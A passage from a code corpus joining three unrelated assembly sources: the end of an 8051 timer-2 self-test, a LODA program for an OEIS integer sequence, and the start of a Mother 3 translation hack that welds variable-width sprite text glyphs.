; capture mode ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov tcon, #000h ; disable t/c 0,1 mov t2con, #01h; timer 2 capture mode, mov th2, #000h ;load timer 2 mov tl2, #000h ; setb tr2 ;start timer 2; mov a, #03h ; 1 acall wait ; 2 clr tr2 ;stop timer 2 mov b, #00h ; error 0 mov r3, #000h ; mov r4, #004h ; acall test2 ; mov tl2, #0fch ; load timer 2 setb tr2 ; start timer 2; mov a, #04h ; acall wait ; clr tr2 ; stop timer 2 mov b, #01h ; error 1 mov r3, #001h ; mov r4, #001h ; acall test2 ; mov tl2, #0fch ; mov th2, #0ffh ; setb tr2 ;start timer 2 mov a, #05h ; acall wait ; clr tr2 ;stop timer 0 mov b, #02h ; error 2 mov r3, #000h ; mov r4, #002h ; acall test2 ; mov b, #03h ; error 3 jnb tf2, error ; clr tf2 ; mov p0, #01h; ; ; test exen2 ; mov rcap2l, #43h mov rcap2h, #21h mov th2, #23h ; mov tl2, #45h ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop1: nop ; dec a ; jnz loop1 ; mov a, rcap2l ; mov psw, #00h ; mov b, #04h ;error 4 subb a, #43h ; jnz error0 ; mov a, rcap2h ; subb a, #21h ; jnz error0 ; mov b, #05h ;error 5 jb exf2, error0 ; clr exf2 ; setb exen2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop2: nop ; dec a ; jnz loop2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #06h ;error 6 subb a, #45h ; jnz error0 ; mov a, rcap2h ; subb a, #23h ; jnz error0 ; mov b, #07h ;error 7 jnb exf2, error0; clr exf2 ; mov p0, #02h; ajmp arm; error0: ljmp error; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; auto reload mode ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; arm: mov t2con, #00h ; t/c 2 in auto reload mode mov th2, #000h ;load timer 2 mov tl2, #000h ; mov rcap2l, #11h; mov rcap2h, #22h; setb tr2 ;start timer 2; mov a, #03h ; acall wait ; clr tr2 ;stop timer 2 mov b, #08h ; error 8 mov r3, #000h ; mov r4, #004h ; acall test2 ; mov tl2, #0fch ; load timer 2 setb tr2 ; start timer 2 mov a, #04h ; acall wait ; clr tr2 ; stop timer 2 mov b, #09h ; error 9 mov r3, #001h ; mov r4, #001h ; acall test2 ; mov b, #0ah ; error a jb tf2, error0 ; clr tf2 ; mov tl2, #0fch ; mov th2, #0ffh ; setb tr2 ;start timer 2 mov a, #05h ; acall wait ; clr tr2 ;stop timer 0 mov b, #0bh ; error b mov r3, #022h ; mov r4, #013h ; acall test2 ; mov b, #0ch ; error c jnb tf2, error0 ; clr tf2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #0f0h ;error f0 subb a, #11h ; jnz error1 ; mov a, rcap2h ; subb a, #22h ; jnz error0 ; mov p0, #03h; ; ; test exen2 ; mov rcap2l, #12h mov rcap2h, #34h mov tl2, #56h ; mov th2, #78h ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop3: nop ; dec a ; jnz loop3 ; mov b, #0dh ; error d mov r3, #078h ; mov r4, #056h ; acall test2 ; mov b, #0eh ; error e jb exf2, error1 ; clr exf2 ; setb exen2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop4: nop ; dec a ; jnz loop4 ; mov b, #0fh ; error f mov r3, #034h ; mov r4, #012h ; acall test2 ; mov b, #10h ;error 10 jnb exf2, error1; clr exf2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #0f1h ;error f1 subb a, #12h ; jnz error1 ; mov a, rcap2h ; subb a, #34h ; jnz error1 ; mov p0, #04h ; ajmp brate; error1: ljmp error; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; baud rate generator ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; brate: mov t2con, #10h ; t/c 2 in baud rate generator mode mov th2, #000h ;load timer 2 mov tl2, #000h ; mov rcap2l, #11h; mov rcap2h, #22h; setb tr2 ;start timer 2; mov a, #03h ; acall wait ; clr tr2 ;stop timer 2 mov b, #20h ; error 20 mov r3, #000h ; mov r4, #004h ; acall test2 ; mov t2con, #20h ; mov tl2, #0fch ; load timer 2 setb tr2 ; start timer 2 mov a, #04h ; acall wait ; clr tr2 ; stop timer 2 mov b, #021h ; error 21 mov r3, #001h ; mov r4, #001h ; acall test2 ; mov b, #22h ; error 22 jb tf2, error1 ; clr tf2 ; mov tl2, #0fch ; mov th2, #0ffh ; setb tr2 ;start timer 2 mov a, #05h ; acall wait ; clr tr2 ;stop timer 0 mov b, #23h ; error 23 mov r3, #022h ; mov r4, #013h ; acall test2 ; mov b, #24h ; error 24 jb tf2, error1 ; clr tf2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #0f4h ;error f4 subb a, #11h ; jnz error1 ; mov a, rcap2h ; subb a, #22h ; jnz error1 ; mov p0, #07h; ; ; test exen2 ; mov tl2, #56h ; mov th2, #78h ; setb p3.2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop5: nop ; dec a ; jnz loop5 ; mov b, #25h ; error 25 mov r3, #078h ; mov r4, #056h ; acall test2 ; mov b, #0eh ; error e jb exf2, error3 ; clr exf2 ; setb exen2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop6: nop ; dec a ; jnz loop6 ; mov b, #26h ; error 26 mov r3, #078h ; mov r4, #056h ; acall test2 ; mov b, #27h ;error 27 jnb exf2, error3; clr exf2 ; mov p0, #08h ; ajmp counter; error3: ljmp error; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; counter 2 test ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; capture mode ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; counter: mov tcon, #000h ; disable t/c 0,1 mov t2con, #03h; timer 2 capture mode, mov th2, #000h ;load timer 2 mov tl2, #000h ; setb tr2 ;start timer 2; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ;stop timer 2 mov b, #00h ; error 0 mov r3, #000h ; mov r4, #004h ; acall test2 ; mov tl2, #0fch ; load timer 2 setb tr2 ; start timer 2; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ; stop timer 2 mov b, #01h ; error 1 mov r3, #001h ; mov r4, #001h ; acall test2 ; mov tl2, #0fch ; mov th2, #0ffh ; setb tr2 ;start timer 2 cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ;stop timer 0 mov b, #02h ; error 2 mov r3, #000h ; mov r4, #002h ; acall test2 ; mov b, #03h ; error 3 jnb tf2, error4 ; clr tf2 ; mov p0, #09h; ; ; test exen2 ; mov rcap2l, #43h mov rcap2h, #21h mov th2, #23h ; mov tl2, #45h ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop7: nop ; dec a ; jnz loop7 ; mov a, rcap2l ; mov psw, #00h ; mov b, #04h ;error 4 subb a, #43h ; jnz error4 ; mov a, rcap2h ; subb a, #21h ; jnz error4 ; mov b, #05h ;error 5 jb exf2, error4 ; clr exf2 ; setb exen2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop8: nop ; dec a ; jnz loop8 ; mov a, rcap2l ; mov psw, #00h ; mov b, #06h ;error 6 subb a, #45h ; jnz error4 ; mov a, rcap2h ; subb a, #23h ; jnz error4 ; mov b, #07h ;error 7 jnb exf2, error4; clr exf2 ; mov p0, #0ah; ajmp armc; error4: ljmp error; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; auto reload mode ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; armc: mov t2con, #02h ; t/c 2 in auto reload mode mov th2, #000h ;load timer 2 mov tl2, #000h ; mov rcap2l, #11h; mov rcap2h, #22h; setb tr2 ;start timer 2; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ;stop timer 2 mov b, #08h ; error 8 mov r3, #000h ; mov r4, #004h ; acall test2 ; mov tl2, #0fch ; load timer 2 setb tr2 ; start timer 2 cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ; stop timer 2 mov b, #09h ; error 9 mov r3, #001h ; mov r4, #001h ; acall test2 ; mov b, #0ah ; error a jb tf2, error4 ; clr tf2 ; mov tl2, #0fch ; mov th2, #0ffh ; setb tr2 ;start timer 2 cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ;stop timer 0 mov b, #0bh ; error b mov r3, #022h ; mov r4, #013h ; acall test2 ; mov b, #0ch ; error c jnb tf2, error5 ; clr tf2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #0f0h ;error f0 subb a, #11h ; jnz error5 ; mov a, rcap2h ; subb a, #22h ; jnz error5 ; mov p0, #0bh; ; ; test exen2 ; mov rcap2l, #12h mov rcap2h, #34h mov tl2, #56h ; mov th2, #78h ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop9: nop ; dec a ; jnz loop9 ; mov b, #0dh ; error d mov r3, #078h ; mov r4, #056h ; acall test2 ; mov b, #0eh ; error e jb exf2, error5 ; clr exf2 ; setb exen2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop10: nop ; dec a ; jnz loop10 ; mov b, #0fh ; error f mov r3, #034h ; mov r4, #012h ; acall test2 ; mov b, #10h ;error 10 jnb exf2, error5; clr exf2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #0f1h ;error f1 subb a, #12h ; jnz error5 ; mov a, rcap2h ; subb a, #34h ; jnz error5 ; mov p0, #0ch ; ajmp bratec; error5: ljmp error; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; baud rate generator ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; bratec: mov t2con, #12h ; t/c 2 in baud rate generator mode mov th2, #000h ;load timer 2 mov tl2, #000h ; mov rcap2l, #11h; mov rcap2h, #22h; setb tr2 ;start timer 2; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ;stop timer 2 mov b, #20h ; error 20 mov r3, #000h ; mov r4, #004h ; acall test2 ; mov tl2, #0fch ; load timer 2 setb tr2 ; start timer 2 cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ; stop timer 2 mov b, #021h ; error 21 mov r3, #001h ; mov r4, #001h ; acall test2 ; mov b, #22h ; error 22 jb tf2, error5 ; clr tf2 ; mov tl2, #0fch ; mov th2, #0ffh ; setb tr2 ;start timer 2 cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; cpl p3.5; clr tr2 ;stop timer 0 mov b, #23h ; error 23 mov r3, #022h ; mov r4, #012h ; lcall test2 ; mov b, #24h ; error 24 jb tf2, error8 ; clr tf2 ; mov a, rcap2l ; mov psw, #00h ; mov b, #0f4h ;error f4 subb a, #11h ; jnz error8 ; mov a, rcap2h ; subb a, #22h ; jnz error8 ; mov p0, #0fh; ; ; test exen2 ; mov tl2, #56h ; mov th2, #78h ; setb p3.2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop11: nop ; dec a ; jnz loop11 ; mov b, #25h ; error 25 mov r3, #078h ; mov r4, #056h ; lcall test2 ; mov b, #0eh ; error e jb exf2, error8 ; clr exf2 ; setb exen2 ; clr p3.2 ; setb p3.2 ; mov a, #10h ; loop12: nop ; dec a ; jnz loop12 ; mov b, #26h ; error 26 mov r3, #078h ; mov r4, #056h ; lcall test2 ; mov b, #27h ;error 27 jnb exf2, error8; clr exf2 ; mov p0, #10h ; ajmp finish ; error8: ljmp error; finish: nop; nop; ajmp finish; end
13.665871
52
0.551257
abfc45f821654869ddbec7d324ccb3bf33da162b
1,112
asm
Assembly
programs/oeis/026/A026200.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/026/A026200.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/026/A026200.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A026200: a(n) = (s(n) + 2)/3, where s(n) is the n-th number congruent to 1 mod 3 in A026166. ; 1,2,4,6,3,8,10,12,5,14,16,18,7,20,22,24,9,26,28,30,11,32,34,36,13,38,40,42,15,44,46,48,17,50,52,54,19,56,58,60,21,62,64,66,23,68,70,72,25,74,76,78,27,80,82,84,29,86,88,90,31,92,94,96,33,98,100,102,35,104,106,108,37,110,112,114,39,116,118,120,41,122,124,126,43,128,130,132,45,134,136,138,47,140,142,144,49,146,148,150,51,152,154,156,53,158,160,162,55,164,166,168,57,170,172,174,59,176,178,180,61,182,184,186,63,188,190,192,65,194,196,198,67,200,202,204,69,206,208,210,71,212,214,216,73,218,220,222,75,224,226,228,77,230,232,234,79,236,238,240,81,242,244,246,83,248,250,252,85,254,256,258,87,260,262,264,89,266,268,270,91,272,274,276,93,278,280,282,95,284,286,288,97,290,292,294,99,296,298,300,101,302,304,306,103,308,310,312,105,314,316,318,107,320,322,324,109,326,328,330,111,332,334,336,113,338,340,342,115,344,346,348,117,350,352,354,119,356,358,360,121,362,364,366,123,368,370,372,125,374 mov $1,$0 add $1,$0 mov $3,$0 mod $0,4 sub $3,1 add $3,$0 lpb $0 mov $0,$2 add $1,$3 mul $1,2 lpe div $1,4 add $1,1
65.411765
893
0.686151
016fdb258011f5bafe2da13b5881ac3ab2310d82
61,004
asm
Assembly
sprite_text_hacks.asm
BetaDream-X/Mother3German
478a40a93ab6d9fba78eed0435642c2a2b958923
[ "MIT" ]
11
2020-07-29T10:27:39.000Z
2022-02-18T08:37:24.000Z
sprite_text_hacks.asm
BetaDream-X/Mother3German
478a40a93ab6d9fba78eed0435642c2a2b958923
[ "MIT" ]
34
2017-04-27T14:51:43.000Z
2021-06-27T14:00:26.000Z
sprite_text_hacks.asm
BetaDream-X/Mother3German
478a40a93ab6d9fba78eed0435642c2a2b958923
[ "MIT" ]
3
2021-01-12T02:32:04.000Z
2021-06-06T01:12:27.000Z
//============================================================================================ define current_font_menu $20225C4 define sprite_text_weld_stack_size $F8 define wbuf_stk $50 // writing buffer, 0x2014320 define letter_stk $54 // letters data address, ldr[sp,#8] + 0x76D9 define numstr_stk $58 // num strings address, ldr[sp,#8] + 0x6C44 define ctrl_stk $5C // control code base value, 0xFEFF define coord_stk $60 // x_coord address, 0x20225C8 define cfm_stk $64 // current_font_menu define mfont_stk $68 // main_font address define mfontw_stk $6C // main_font_width address define sfontw_stk $70 // small_font_width address define ocbuf_stk $74 // oam coords buffer, 0x2014240 define olbuf_stk $78 // oam length buffer, 0x2014260 define ohbuf_stk $7C // oam hash buffer, 0x2014270 define oabuf_stk $80 // oam address buffer, 0x20142B0 define oslbuf_stk $84 // oam strlen buffer, 0x20142F0 define dbuf_stk $88 // data buffer, 0x2014300 define hprime_stk $8C // hash's prime value, 0x1000193 define hoffset_stk $90 // hash's offset value, 0x811C9DC5 define empty_stk $94 // empty_tile+2 address define oam_tiles_stack_buffer {sprite_text_weld_stack_size}-$60 //============================================================================================ // This hack does text "welding" within the game's glyph buffer structs. This particular // routine affects sprite text. // // This hack replaces existing code. The original routine was at 8001EA4, and was shared // by other routines, namely item name text and the main script text. // // We're going to need to store some stuff in a RAM block temporarily. We'll use good old // 2014320. The layout will be as follows: // // 2014320 word scratch stuff for the 1bpp glyph data and other stuff // 2014321 ... // 2014322 ... // 2014323 ... // 2014324 byte total # of tiles/sprites allocated // 2014325 byte current x position within the current target glyph // 2014326 byte current letter's width // 2014327 byte new_tile_flag -- if non-zero, signal later hack to move to next struct // 2014328 hword current letter // 2014329 ... // 201432A byte new_line_flag -- if non-zero, signal later hack to move to next line // 201432B byte redraw_flag -- if non-zero, signals the game to redraw subsequent tiles // 201432C byte table_loc -- used to traverse the address/len/etc. tables // 201432D byte fadeout_flag -- if this is set, we're fading out, useful for speedups // //============================================================================================ // THIS CODE AND THE ONE IN write_Glyph_1bpp INSIDE main_menu_hacks ARE BASICALLY THE SAME! // THEY'RE SEPARATED IN ORDER TO MAXIMIZE PERFORMANCES, BUT IF A BUG IS IN ONE OF THEM, // IT'S PROBABLY IN THE OTHER ONE AS WELL text_weld: push {r4-r7,lr} // This is an efficient version of the printing routine mov r5,r0 mov r6,r0 add r6,#0x20 mov r4,r1 mov r1,r3 mov r0,#1 strb r0,[r5,#8] // This tile is used strb r2,[r5,#9] // Store the palette ldr r7,=#0x2014320 ldrb r3,[r7,#0x6] // load the current letter's width ldrb r7,[r7,#0x5] // r7 = curr_x cmp r7,#8 blt + lsl r7,r7,#0x1D // r7 = r7 and 7 lsr r7,r7,#0x1D add r5,#0x20 add r6,#0x6C add r0,r7,r3 cmp r0,#8 blt + mov r0,#1 strb r0,[r6,#8] // This tile is used strb r2,[r6,#9] // Store the palette + add r2,r3,#7 //If this isn't a multiple of 8, it will go over a multiple of 8 now lsr r2,r2,#3 //Get total tiles number cmp r2,r1 blt + mov r2,r1 //Prevent bad stuff + //--------------------------------------------------------------------------------------------- mov r0,r8 push {r0} mov r8,r2 mov r2,#0xFF //If we had access to the stack, using a precompiled lsr r2,r7 //array would be faster... Probably lsl r0,r2,#8 orr r2,r0 lsl r0,r2,#0x10 orr r2,r0 .loop_start: push {r3} ldr r3,[r4,#0] //Load the first 4 rows mov r1,r3 lsr r3,r7 //Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r3,r2 //Left side mvn r2,r2 //Get the inverted version and r1,r2 //Right side // TOP FOUR - LEFT ldr r0,[r5,#0] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#0] // and now store it back // TOP FOUR - RIGHT str r1,[r6,#0] // and now store it back // Now we do the bottom four! ldr r3,[r4,#4] //Load the last 4 rows mov r1,r3 lsr r3,r7 //Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r1,r2 //Right side mvn r2,r2 //Get the inverted version and r3,r2 //Left side // BOTTOM FOUR - LEFT ldr r0,[r5,#4] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#4] // and now store it back // BOTTOM FOUR - RIGHT str r1,[r6,#4] // and now store it back pop {r3} mov r0,r8 // increment counter cmp r0,#1 // see if we're still under the # of tiles we need to process ble .routine_end sub r0,#1 mov r8,r0 mov r0,r5 sub r1,r6,r5 mov r5,r6 add r6,#0x20 cmp r1,#0x20 bne + add r6,#0x4C sub r3,#8 add r1,r7,r3 cmp r1,#8 blt + ldrb r1,[r0,#9] // Grab the colour mov r0,#1 strb r0,[r6,#8] // This tile is used strb r1,[r6,#9] // Store the palette + add r4,#8 b .loop_start //--------------------------------------------------------------------------------------------- .routine_end: pop {r0} mov r8,r0 pop {r4-r7,pc} //============================================================================================ // This section of code is for initialization before a string is printed into OBJ memory. // It mostly sets a bunch of stuff to 0. This should be called from 80492E2. //============================================================================================ sprite_text_weld: .init: push {lr} ldr r3,=#0x2014320 mov r0,#1 strb r0,[r3,#0x7] // new_tile_flag = TRUE mov r0,#0 strh r0,[r3,#0x4] // curr_tile_num = 0, curr_x = 0 strb r0,[r3,#0xA] // new_line_flag = FALSE strb r0,[r3,#0xB] // redraw_flag = FALSE strb r0,[r3,#0xC] // table_loc = 0 mov r0,#0 strb r0,[r1,#0x0] // code we clobbered pop {pc} //============================================================================================ // This routine changes the loaded tiles accordingly to fix when the first line that's printed // starts with a BREAK or a STATUSICON //============================================================================================ .empty_tile: dw $00EB .replace_BREAK_first_line: ldr r0,[sp,#0] ldr r1,[sp,#{empty_stk}] sub r1,#2 str r0,[sp,#0x44] // the engine cannot properly process the first line starting with str r1,[sp,#0] // a BREAK or a STATUSICON, so we add an empty letter before it ldrh r0,[r6,#0xE] add r0,#1 strh r0,[r6,#0xE] // the string we need to print is now 1 letter longer bx lr .restore_old_first_line: ldr r0,[sp,#0] ldr r1,[sp,#{empty_stk}] cmp r0,r1 bne + ldr r0,[sp,#0x44] str r0,[sp,#0] + bx lr //============================================================================================ // This section of code is for caching certain addresses and values we'll use multiple // times in the stack //============================================================================================ .init_stack: str r3,[sp,#{wbuf_stk}] // save these value to stack in order to avoid needless jumps str r1,[sp,#{letter_stk}] ldr r2,[sp,#0x8] ldr r0,=#0x6C44 add r0,r2,r0 str r0,[sp,#{numstr_stk}] ldr r0,=#0xFEFF str r0,[sp,#{ctrl_stk}] ldr r0,=#0x20225C8 str r0,[sp,#{coord_stk}] ldr r0,=#{current_font_menu} str r0,[sp,#{cfm_stk}] ldr r0,=#{main_font} str r0,[sp,#{mfont_stk}] ldr r0,=#{main_font_width} str r0,[sp,#{mfontw_stk}] ldr r0,=#{small_font_width} str r0,[sp,#{sfontw_stk}] ldr r0,=#0x2014240 str r0,[sp,#{ocbuf_stk}] add r0,#0x20 str r0,[sp,#{olbuf_stk}] add r0,#0x10 str r0,[sp,#{ohbuf_stk}] add r1,sp,#0x24 add r0,#0x40 str r0,[sp,#{oabuf_stk}] add r0,#0x40 str r0,[sp,#{oslbuf_stk}] mov r0,#0x20 sub r0,r3,r0 str r0,[sp,#{dbuf_stk}] ldr r0,=#0x1000193 str r0,[sp,#{hprime_stk}] ldr r0,=#0x811C9DC5 str r0,[sp,#{hoffset_stk}] ldr r0,=#.empty_tile+2 str r0,[sp,#{empty_stk}] bx lr //============================================================================================ // This section of code stores the letter from the font's data to the stack. // Small font version. Returns if there is data to print or not. // r0 is the letter. r1 is the stack pointer //============================================================================================ .fast_prepare_small_font: mov r4,r0 ldr r2,=#{small_font}+2 // we already know we're loading small font lsl r3,r0,#2 add r0,r0,r3 lsl r0,r0,#1 // multiply by 0xA add r0,r2,r0 // get the address mov r1,sp mov r2,#4 swi #0xB // CpuSet for 8 bytes ldr r0,=#{small_font_usage} add r0,r0,r4 ldrb r0,[r0,#0] // Load tile usage for the letter bx lr //============================================================================================ // This section of code stores the letter from the font's data to the stack. // Main font version. Returns if there is data to print or not. // r0 is the letter. r1 is the stack pointer //============================================================================================ .fast_prepare_main_font: mov r4,r0 ldr r2,=#{main_font} // we already know we're loading main font lsl r0,r0,#5 add r0,r2,r0 // get the address mov r1,sp mov r2,#0x10 swi #0xB // CpuSet for 0x20 bytes ldr r0,=#{main_font_usage} add r0,r0,r4 ldrb r4,[r0,#0] // Load tile usage for the letter bx lr //============================================================================================ // This section of code stores the current letter to be printed into our RAM block. // Call from 8049466. //============================================================================================ .store_letter: push {r4,r7,lr} mov r7,r2 ldr r1,[r7,#{wbuf_stk}] // r1 has RAM block address lsl r0,r0,#0x18 lsr r0,r0,#0x18 strh r0,[r1,#0x8] // store r0 (current letter value) in RAM block lsl r3,r0,#0x18 lsr r3,r3,#0x18 // 20225C4 holds a pointer to the current font // It can be either 8CE39F8 (main) or 8D0B010 (small) // From that we want to get the widths pointer, which is 8D1CE78 (main) or 8D1CF78 (small) // I'm assuming we only ever use this for main and small fonts... ldr r2,[r7,#{cfm_stk}] ldr r4,[r2,#0] ldr r2,[r7,#{mfont_stk}] cmp r2,r4 bne + // We're using main font ldr r2,[r7,#{mfontw_stk}] b .store_letter_next + ldr r2,[r7,#{sfontw_stk}] .store_letter_next: ldrb r2,[r2,r3] // get the current letter's width strb r2,[r1,#0x6] // store the current letter's width in the RAM block ldrb r1,[r6,#0x10] // code we clobbered mov r0,#0x80 lsl r1,r1,#0x1C pop {r4,r7,pc} //============================================================================================ // This section of code signals the game to start from a new sprite after certain control // codes, like FF01 ([BREAK]) codes are encountered. Call from 8049374. //============================================================================================ .cc_check: push {lr} add r7,sp,#0x4 ldr r0,=#0xFF01 // [BREAK] check cmp r1,r0 beq .break_found ldr r0,=#0xFFE1 // [STATUSICON] check cmp r1,r0 beq .icon_found b .cc_check_end //-------------------------------------------------------------------------------------------- .break_found: ldr r1,[r7,#{wbuf_stk}] ldrb r0,[r1,#0x7] // load new_tile_flag cmp r0,#0 // if this == TRUE, then we need to move the tile, allocate the sprite beq + // and all that stuff ourselves bl .sprite_snip bl .update_x_coord bl .custom_create_sprite //b .cc_set_stuff //-------------------------------------------------------------------------------------------- + //ldr r1,[r7,#{wbuf_stk}] //ldrb r0,[r1,#0xB] // load redraw_flag //cmp r0,#0 // if this == FALSE, skip the obj update //beq .cc_set_stuff //bl .update_obj_tile //-------------------------------------------------------------------------------------------- .cc_set_stuff: ldr r1,[r7,#{wbuf_stk}] mov r0,#0 strb r0,[r1,#0x5] // curr_x = 0 mov r0,#1 strb r0,[r1,#0x7] // new_tile_flag = TRUE strb r0,[r1,#0xA] // new_line_flag = TRUE //-------------------------------------------------------------------------------------------- .cc_check_end: ldrb r0,[r4,#0x3] mov r1,#0x8 pop {pc} //-------------------------------------------------------------------------------------------- .icon_found: mov r0,#1 str r0,[r7,#0x48] // set "has_icon" to true ldr r1,[r7,#{wbuf_stk}] ldrb r0,[r1,#0x5] cmp r0,#3 bgt + bl .sprite_snip + ldr r1,[r7,#{wbuf_stk}] ldrb r0,[r1,#0x7] // load new_tile_flag cmp r0,#0 // if this == TRUE, we beq + bl .update_x_coord + ldr r1,[r7,#{wbuf_stk}] ldrb r0,[r1,#0x7] // load new_tile_flag cmp r0,#0 // if this == TRUE, we need to mess with this sprite and the next one beq .icon_end bl .custom_create_sprite .icon_end: ldr r1,[r7,#{wbuf_stk}] mov r0,#1 strb r0,[r1,#0x7] // new_tile_flag = TRUE b .cc_check_end //============================================================================================ // This section of code makes the game allocate a new sprite if necessary. This is one of // the most important parts of the whole sprite text welding stuff. Call from 80493B4. //============================================================================================ // // PSEUDOCODE: // //if new_tile == TRUE // // if (newline == FALSE && firstletter == FALSE) // add tile width // // if veryfirsttile == FALSE // move to next tile() // create sprite() // // if firstletter == TRUE || newline == TRUE // clear current tile // //new_tile = FALSE //newline = FALSE // //jump to proper location //-------------------------------------------------------------------------------------------- .create_sprite: push {lr} add r7,sp,#4 // we'll need this value for the subroutine calls later ldr r2,[r7,#{wbuf_stk}] ldrb r0,[r2,#0x7] // load new_tile_flag cmp r0,#0 beq .create_sprite_end // if FALSE, don't need to move to next tile or create a new sprite //-------------------------------------------------------------------------------------------- ldrb r0,[r2,#0xA] cmp r0,#0 // if new_line_flag == FALSE, we want to add the sprite width bne + // so jump over the adding code if it's TRUE and we ARE on a new line ldr r0,[r7,#0x14] // load r0 with the current letter # we're on cmp r0,#0 // if it's 0, we don't want to add the sprite width beq + bl .update_x_coord //-------------------------------------------------------------------------------------------- + ldr r0,[r7,#{letter_stk}]// now to see what tile # we're on ldrb r0,[r0,#0] cmp r0,#0 // r0 now has the tile # we're on beq + // if it's 0, we don't need to move to the next tile //bl .update_obj_tile bl .move_to_next_tile // move to the next tile over + bl .custom_create_sprite //-------------------------------------------------------------------------------------------- .clear_glyph_check: ldr r2,[r7,#{wbuf_stk}] ldrb r0,[r2,#0xA] // if we're doing a newline, we need to clear out the glyph cmp r0,#0 bne + ldrb r0,[r2,#0x5] // load curr_x cmp r0,#0 // if curr_x == 0, we need to clear out the current tile beq + ldr r0,[r7,#0x14] // load r0 with the current letter # we're on cmp r0,#0 // if it's 0, we want to clear the current glyph bne .create_sprite_end + ldrb r0,[r2,#0xB] // load redraw_flag cmp r0,#0 // if redraw_flag == FALSE, don't clear out the glyph beq + add r0,r5,#4 // give r0 the address of the current glyph data bl .clear_glyph // call our function to clear out the current glyph + mov r0,#0 strb r0,[r2,#0x5] // curr_x = 0 //-------------------------------------------------------------------------------------------- .create_sprite_end: mov r0,#0 strb r0,[r2,#0x7] // new_tile_flag = FALSE strb r0,[r2,#0xA] // new_line_flag = FALSE //ldr r0,=#.mr_aftercreatesprite //ldr r0,=#0x80493E6 // jump to the correct place back in the main code //mov pc,r0 //bx lr pop {pc} //============================================================================================ // This section of code adds the current width and does width checking and all that. // It'll also tell the game to move to the next tile if width > 16. Call from 8049512. //============================================================================================ .add_width: push {lr} // load r0 with the custom RAM block's address ldr r0,[sp,#4+{wbuf_stk}] ldrb r2,[r0,#0x5] // load curr_x ldrb r3,[r0,#0x6] // load curr_width add r2,r2,r3 // curr_x += curr_width strb r2,[r0,#0x5] // store the new curr_x back cmp r2,#16 // if the new x is >= 16, we need to update stuff blt .add_width_end // else just skip to the end //------------------------------------------------------------------------------------------- cmp r2,#0x20 blt + push {r7} // handle exceptionally long letters (> 16 pixels long) add r7,sp,#8 push {r2} bl .move_to_next_tile bl .update_x_coord // finish printing them bl .custom_create_sprite pop {r2} ldrh r0,[r7,#4] lsr r1,r2,#4 lsl r1,r1,#4 // properly place the next double tile's X coordinate sub r1,#0x20 add r0,r1,r0 strh r0,[r7,#4] pop {r7} + // load r0 with the custom RAM block's address ldr r0,[sp,#4+{wbuf_stk}] 